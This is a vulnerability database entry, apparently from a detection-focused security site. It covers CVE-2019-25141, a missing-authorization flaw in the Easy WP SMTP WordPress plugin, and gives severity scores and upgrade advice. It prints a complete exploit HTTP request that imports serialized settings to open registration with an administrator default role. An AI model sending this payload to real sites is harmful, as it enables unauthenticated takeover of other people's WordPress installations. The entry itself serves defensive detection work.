🔙 목록으로 돌아가기

CVE-2019-25141: Easy WP SMTP <= 1.3.9 - Missing Authorization to Arbitrary Options Update

TitleEasy WP SMTP <= 1.3.9 - Missing Authorization to Arbitrary Options Update
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can modify plugin settings and arbitrary site options to inject new administrative user accounts, leading to complete WordPress site takeover.
RemediationUpgrade to Easy WP SMTP version 1.4.0 or later.
CVSS Score9.8
EPSS Score0.59731
CVE IDCVE-2019-25141
CWE IDCWE-862
Tags cve cve2019 wordpress wp-plugin wp file-upload easy-wp-smtp intrusive vkev vuln

🔍 Vulnerability Description

The Easy WP SMTP plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 1.3.9. This is due to missing capability checks on the admin_init() function, in addition to insufficient input validation. This makes it possible for unauthenticated attackers to modify the plugins settings and arbitrary options on the site that can be used to inject new administrative user accounts.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36
Content-Length: 626
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
Accept-Encoding: gzip
Connection: close

--------------------------NCpI6tN3BZW3fz1Y9t2bkf

Content-Disposition: form-data; name="action"



swpsmtp_clear_log

--------------------------NCpI6tN3BZW3fz1Y9t2bkf

Content-Disposition: form-data; name="swpsmtp_import_settings"



1

--------------------------NCpI6tN3BZW3fz1Y9t2bkf

Content-Disposition: form-data; name="swpsmtp_import_settings_file"; filename="xDIleCXY.txt"

Content-Type: text/plain



a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}



--------------------------NCpI6tN3BZW3fz1Y9t2bkf--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-25141.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-25141.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A